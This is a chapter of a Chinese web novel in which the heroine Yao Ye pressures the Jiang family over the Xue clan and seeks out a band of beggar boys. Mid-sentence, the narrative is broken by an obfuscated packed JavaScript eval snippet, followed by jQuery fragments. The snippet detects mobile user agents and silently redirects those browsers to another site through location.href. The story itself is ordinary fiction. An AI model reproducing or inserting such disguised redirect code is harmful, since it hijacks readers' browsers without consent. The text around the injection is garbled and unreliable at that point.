玛瑙推开房门,看到夫人早已起来多时了。
“夫人,您什么时候起的?”早上还是有点凉的,夫人就穿了这么一点,也不知站了多久。
她忙放下手中的铜盆,过去拿衣裳给披上。
姚叶回身,对她笑道:“玛瑙,今日天气真不错。”
玛瑙看向窗外,有些朦胧太阳都没有,是夫人心情好吧。
难道是做了什么好梦?
“夫人昨夜睡的好吗?”
昨夜那么多事,玛瑙以为自己会睡不着,没想到躺下就做梦了。
姚叶接过帕子擦脸点头,又问她:“江家人都起来了吗?”
玛瑙道:“已经起了,刚派人来传话,让夫人过去一起用早膳。”
江家人口简单,平日里都是一起用膳。
姚叶点头,继续道:“有消息了吗?”
玛瑙颔首:“哥哥刚刚给我传信,您要找的人还在村里,看来暂时不会离开。”
姚叶笑:“那就好。”
见玛瑙脸上有些担忧,便宽慰她道:“你放心,你哥哥帮我做事,我肯定会保你们无事,殿下那边你不用担心。”
姚叶被困在府里,赵钧安排了人盯着她,她的一举一动都被监视,好在上次珍珠出事后,她让秋实查过玛瑙。
玛瑙有个游手好闲的哥哥,平日里爱结交朋友,阳城那些三教九流的泼皮无赖,有大半都是他的朋友。
这样的人,跑腿打听消息有意想不到的效果,可以利用。
秦安他们盯的紧有什么用,猫有猫道,狗有狗道,有的是他们眼睛盯不到的地方。
昨夜和江云秀也不是什么巧遇,那是玛瑙的哥哥打听清楚了,她们故意等在半路演的一出戏。
目的,自然也不只是为了出城。
江老爷才是她的目标。
“走吧,我们也该去见见主人了。”姚叶抬头看了一眼铜镜里的自己,没有不妥之处,很是满意。。
昨夜太匆忙了,和主人家都没有好好说几句话。
江家人见到她们出现,忙热情招呼。
江母对她笑着道:“姚娘子别见怪,家里人口少,平日里也没那么多讲究,都是些家常小菜,别客气,若是有失礼之处还望担待。”
姚叶回了个微笑:“怎么会,得二老收留感激不尽,哪里有那么多讲究。”
江云秀脸上带着几分雀跃。
“姚姐姐,用完膳我带你出门走走吧,我们村子外面的景致可好看了,有不少阳城大户都来这里建了别院。”
姚叶莞尔一笑:“好啊,我也想出去走走。”
笑容不见半分凄苦勉强,好似她真的是来这里游玩一般。
江父和江母对视一眼,总觉得这位姚娘子和昨夜不太一样,如女儿所说,她是逃离丈夫后又被亲戚赶来出来,是不是也看的太开,不见一丝愁苦。
几人准备用膳,玛瑙站到姚叶一旁,帮着布菜。
江家三人愣愣地看着她们。
江云秀有些诧异:“玛瑙姐姐,你怎么不坐下?”
姚叶笑着看玛瑙:“那你也坐下吧。”
玛瑙低头道:“奴婢侍候夫人。”
夫人准备亮明身份,她自然是要做好自己下人的本分。
江云秀这才恍然:“原来你们不是姐妹啊。”
难怪她看着两人长得叶不太像。
江母偷偷拉了拉女儿的衣袖,让她先别说话。
她也看出来了,女儿带回来的客人只怕不简单。
姚叶一脸歉意地解释:“昨夜情况复杂,让大家误会了。”
江父仔细打量着这位姚娘子,对上她那双眼睛,一时有些看不透,这位姚娘子做戏接近他们家是要做什么?
这样的世道,他家可不想卷入什么麻烦中。
“姚娘子到底是何人,江家门庭小,怕是帮不上你什么忙。”
姚叶笑了,姜还是老的辣,不愧是后来赏识男主的伯乐,这眼力果然好,一眼就看穿了她来的目的。
“江老爷不问问我求您帮什么忙,就这么快拒绝?”
江老爷眉头微皱:“我江家人微言轻,只怕让夫人失望了。”不问就不会沾染麻烦。
只是个滑不溜手的老狐狸。
她让玛瑙的哥哥查过江家的情况,本地乡绅大族,算不上望族,但祖辈有人做过官,江老爷年轻时也中过举,只是他无意官场,之后没有再去科考。
好在家中殷实,家里有不少良田,日子过的不差,加上为人宽厚,在当地也算是颇有声望。
唯一遗憾就是夫妻二人年过半百膝下唯有一个女儿。
江云秀就是江老爷的软肋,不到万不得已,姚也也不想用这个威胁人。
“江老爷过谦了,江家虽不显赫,但不是还有个姜家吗?”姚叶也不和他绕弯子,直接说出来意。
江老爷眼神变的锐利,果然是奔着姜家来的!
“我们这样的小户人家,如何攀得上他们,老夫已多年未和他们走动了,姚娘子若是想搭上姜家,怕是找错人,我连他们家大门朝哪开都不知道。”
是嘛?姚叶笑脸盈盈地打量着他。
要不是她知道剧情,还真就信了。
十年后带着男女主直接去姜家的难道不是他?
姚叶淡定喝了一口粥,随口道:“姜家丢了一个女儿是吧?”
江老爷脸色一变,这种秘事姜家从未对外说过。
“你……你想做什么!”
这么激动,还说和姜家关系一般,他自己信吗?
“江老爷不要误会,我没有恶意,只是想和姜家做笔生意,江老爷听说了吧,前线战事吃紧,官府一时手头不紧凑,想要向你们借些钱粮。“
江老爷神色放松了一些:“你是官府的人?”
姚叶点头:“算是吧,我听说你们都不愿意,难道是官府给的条件不够好?”她真诚求知。
原来是为这事来的,江老爷和缓了些,开口道:“你找姜家也没用,他们早已不管这些事了,你若是官府的人,不如直接去找薛家,薛家松口说借,我们又怎么敢不借。”
这话是说不借是薛家的意思,果然是他们搞得鬼。
“薛家放话不许你们借给官府?”
江老爷连忙否认:“我可没说这话。”
“听说薛家要和太子殿下结亲了,他们怎么会做这种事,只是这几年大家都难,一时拿不出那么多,薛家出头为我们和官府周旋,希望能谈个满意的条件。”
听着好似在为薛家开脱,但其实是警告她,薛家她惹不起。
姚叶嗤笑:“那是谈个让薛家满意的条件还是让你们满意?”
江老爷没有正面回答,只说了一句:“薛家势大,是江南大族,族中姻亲遍布朝野,我们这些小家族得罪不起。”
姚叶点头,一副不在勉强的样子:“我明白了,江老爷有自己的难处,我也不是个喜欢勉强别人的人,不过……我这里也有个的消息,您老人家不妨听一听。”
“听说太子殿下也不是很想借,他在让人在清查历年来的粮税,哦,顺便再查一查大家是不是真的清清白白,他这个人嫉恶如仇,眼里容不下沙子,到时候一番清查下来,如你所说,薛家根深势大,说不定能逃过一劫,那其他人家呢?”
“比如你们江家,那个时候姜家也不管事怎么办?江家若是出了事,江姑娘怎么办?你把她养的如此天真烂漫,以后的日子该怎么过,您忍心吗?”
江母想到那个场景,心疼地一把抓住女儿的手,眼睛泛红,看向丈夫。
江老爷不敢看妻女的一眼,嘴硬道:“我不是三岁孩童,这话吓不到我,我江家本本分分清清白白,不怕查,何况乡绅大族何其多,不肯借钱粮,太子殿下就要对我们动刀不成,如此怕是天下就要乱了。”
姚叶低头,是啊,就是担心天下大乱,她才会找来这里。
真的吓不到他吗?还是说不见棺材不落泪。
她继续道:“昨日城中官兵大动,江姑娘很担忧,难道不是你们心里早就有数了,薛家许诺了什么好处,让你们抱成一团?但我可以直接告诉你,薛家如今自身难保,你不妨考虑考虑我的提议,我们做个交易,我保你江家平安……”
她看向江云秀,笑着说道:“我听说你们族里在逼你选立嗣子,你不为自己想,难道也不为江姑娘考虑考虑?”
“若江家出事,江姑娘以后岂非要看一个嗣弟的脸色过日子?”
这话如一击重锤,狠狠地敲在江母的心上,是啊,嗣子关她什么事,她的亲骨肉只有这个女儿。
“老爷……”她看向丈夫。
江老爷看向妻女,又看向姚叶,内心挣扎。
“我凭什么信你,你根本不知道薛家他们有多可怕,你又哪来的底气可以保我江家。”
姚叶放出筹码:“你不是忧心女儿的婚事吗?我也可以给你女儿物色一门好亲事。”
她身子微微前倾,收了笑容,眼神变得冷漠:“江老爷,我想你误会了一件事,我想找姜家出面并不是因为官府惧怕你们,而是我的私心,前线在打战,我不想弄的后方也不安稳,少死点人也算是积德了。”
“您还有时间好好考虑,我姓姚,你可以去阳城打听一下,我想我说的话应该还是能算数的。”
她看了眼天色,估摸着时间:“申时吧,在这之前你若是考虑好了可以找我。“
姚叶起身,淡笑着问江云秀:“江姑娘,不知道你说带我去村里走走,可还算数?”
江云秀已经听愣了,还是被江母掐了一下才回神,有些无助地看向母亲。
江母微微颔首:“去吧。”
江云秀连忙起身带路。
出了江家门,外面是一条小溪,有几个妇女已经蹲在那洗衣服,她们跟江云秀都很熟,高声招手和她打招呼,顺便又忍不住多打量了几眼姚叶,三三两两凑在一起嘀咕些什么。
江云秀尴尬地解释:“您别怪罪,她们都是村里人,很少见外人,就是好奇,没有坏意的。”
姚叶嗯了一声:“我没你想的那么小气,看几眼又不会少块肉,我想自己长得也不丑,不怕人看。”
江云秀抿嘴笑了,又想起这位姚姐姐好像不是普通人,连她爹都不敢惹,自己不能得罪她,又收回了笑。
姚叶注意到她的小动作,转头逗她:“我不吃人,你笑起来很好看,应该多笑。”
江云秀心中有疑虑,见姚叶好说话,吞吞吐吐问道:“昨日,你们是故意让我带你们回来的吗?”
姚叶嗯了一声:“是故意演了一出戏,我们利用了你的善良,你心里是不是后悔了?”
她反问道:“以后看到这样的事情,你还会帮助她们吗?”
江云秀想了一会,点头道:“会的吧,万一她们真的是遇到困难了呢?”
她能帮一把是一把,爹娘也从小这么教导她的。
姚叶欣慰地笑了:“我很高兴你这么说。”
很高兴她没有因为被人设计而恼怒,从而不敢帮助他人,那样自己的罪过就大了,这个世界还是好人多一点才好。
江云秀轻轻地踢着路上的小石头,想问什么,却又不敢。
姚叶看出来了,说道:“你放心吧,就算你爹不答应我也不会为难你们的。”
“嗯,看在你面上,其实我挺喜欢你的。”她故意逗江云秀
江云秀有些高兴,脚掂了掂:“我也很喜欢姚姐姐,我能叫你姚姐姐吗?”
“当然可以。”
“姚姐姐你放心,我会帮你劝我爹爹的,其实我爹他们就是怕薛家报复,他们可狠了,谁家不听话,日子过的很惨的,都没有敢惹他们,我爹说以前姜家主事的时候还好,没那么霸道,不像薛家……”
绕了村子半圈,她们停了下来。
“姚姐姐,这里就是社学了,你怎么想来这里,现在这里都荒废了,以前这很热闹的,如今被一群小乞丐占了。”
江云秀上前推开破败的半扇门,院中杂草
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17012356|187356||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
丛生,味道不好闻,她嫌弃地扇了扇鼻子。
“小乞丐说谁呢!”一道懒洋洋的声音从墙头传来。
一个衣衫破烂的小子骑在墙头,居高临下地看着她们,鼻孔里喷出一道气,眼神带着几分蔑视。
“滚开,这不是你们的花园子,有什么好看的?”说完他故意搓了搓脖颈,把手上污泥朝她们弹来。
江云秀跳开,一脸嫌弃:“小乞丐!这是我江家的地盘,给你们住还变成你们的了,小心我叫我爹把你们赶出去!”
那人嗤笑一声,斜眼看了一眼江云秀,嘴角翘起,带着一抹坏笑。
江老爷可舍不得赶我走,知道他为什么对我们这么好吗?还不是为了让我娶你,好吧,老子吃点亏,不嫌弃你比我大,以后生的孩子也跟你姓!来报答你们对我的恩情!”
江云秀气红了脸,扑上去要撕他的嘴。
那小乞丐弯下身子,故意凑近:“你来啊,我可半个月没洗澡了,你来打。”
江云秀被恶心到了,好像闻到了一股臭味,受不住捂嘴跑开了。
见人被他吓走了,小乞丐得意地笑了
姚叶轻笑一声,小乞丐看了过来,落下脸子,赶她们:“没热闹看了,走吧走吧。”
“你叫崔昊?”姚叶开口。
小乞丐转过身,一脸诧异:“看来打听过小爷姓什么,不过你说错了,我叫崔大,什么崔号?没听过。”
他跳下墙,走了几步停下,转头看她:“你不是专门来找我的吧?”
不然好端端的绕半个村子来这破地方,他刚刚在墙头晒太阳可都看到了,她们直奔这里来的。
姚叶没有惊讶,感叹道:“你确实聪明。”这张嘴也够毒。
倒是有点以后的风范了。
“你的几个朋友呢,叫出来吧,我想见见,明日你们就跟我走吧。”
崔大一脸警惕地看着她。
“难道你家也要招上门女婿不成,非亲非故的,我们为什么要跟你走?”
躲在屋里的几个人听到崔大声音不对冲了出来,其中一个眉上有疤的小子拿着棒子护在崔大身前:“老大没事吧。”
姚叶看了看他们,笑的更欢,真好,都在啊
“因为我心善啊,到时候我送你们去读书,怎么样?”
不怎么样,崔大更加防备了,这女人笑的一脸不怀好意,难道是拐子?
现在拐子都长这么好看了?
“呸,老子最不爱读书,你送我老子读书难道还是什么好事不成……”
姚叶沉了脸:“你跟谁称老子呢!”
崔大被她变脸吓住,咽下剩下的话,流落这外这么久,看人眼色这一块他也算是炉火纯青,可这个女人,他真的是摸不透。
事出反常必有妖,天下不可能掉馅饼的!
“我们不认识你,不跟你走!”
姚叶没有把他拒绝当回事:“我只是通知,没想征求你们的意见,明日收拾好了跟我走,你们没别的选择。”
呸,崔大在心底啐了一口,天下这么大,大不了他们不在江家村混了,看她去哪里找。
这个女人一看就没安好心,他们没爹没妈的小乞丐,就是好欺负是吧!
崔大心中暗恨。
姚叶对外说道:“四个,一个都别让他们溜了。”
玛瑙的哥哥从墙根处走了出来,躬身道:“是。”
娘的,被人盯上了,崔大吐出嘴里的草根,对同伴使了个眼色,进屋关上摇摇欲坠的门商议对策。
这一趟来的很值,还以为只能抓住崔昊一个人呢,没想到其他几个也在。
算是一锅端了吗?未来的贤臣猛将,书中男主的左膀右臂,她得好好培养啊!
赵钧不会成为暴君,天下不会大乱,那么男女主也就没有必要出场了。
姚叶眼神闪过一丝亮光。
江云秀等在门外,见她们出来,忙问道:“姚姐姐,你没事吧,那些小乞丐很凶的。”
“他们若是不凶一点,就活不到现在了。”
江云秀想想,点头:“姚姐姐你和我爹说的话一样,我爹也常说他们可怜,不过他们真的很讨厌。”
老是喜欢和她做对!
江云秀又带她去了其他地方看看,江家村民风淳朴,邻里和睦,江云秀又是他们看着长大的,走到哪都有熟人,有人还会送来自家地里种的吃食。
“这是红薯,姚姐姐你吃过吗?”
姚叶点头:“吃过,但很久没吃了。”来这里之后还没吃过呢。
“回去我让厨房帮我们煮,很甜的。”江云秀准备用衣襟把它兜起来。
玛瑙见了过来帮忙。
因为这些红薯,她们不好拿着走,便直接回去了。
江家在准备午膳,江母坐在院子里做针线,江云秀凑过去给她看红薯。
又抬头问江老爷去哪了?
江母看了一眼姚叶,说道:“你爹和人在屋里说话。”
姚叶明白,应该是江父派到阳城打听消息的人回来了。
一侧的门打开,有个长随模样的人朝他们点头,退了出去。
江老爷脸色不对,好像受到了打击。
“夫人,可否和你聊几句?”他说道。
姚叶敏锐地注意到他对自己的称呼变了,看来是猜到她的身份了。
姚叶笑着应了:“可以。”
姚叶和江老爷并没有聊很久,小半个时辰后,两人便出来用膳了,但江老爷神情依旧严肃。
两人到底说了什么也无人知道。
用完午膳后,姚叶没有出门,但随着天渐渐变黑,姚叶有些焦虑起来。
“夫人,天很晚了,您先去歇息吧。”
姚叶摇头,开窗看着外面漆黑的夜色。
她睡不着,赵钧不可能这么沉得住气的,他又在耍什么把戏。
突然,村头有了动静,急促的马蹄声朝这边来了。
玛瑙脸色一变:“夫人,是不是殿下来了。”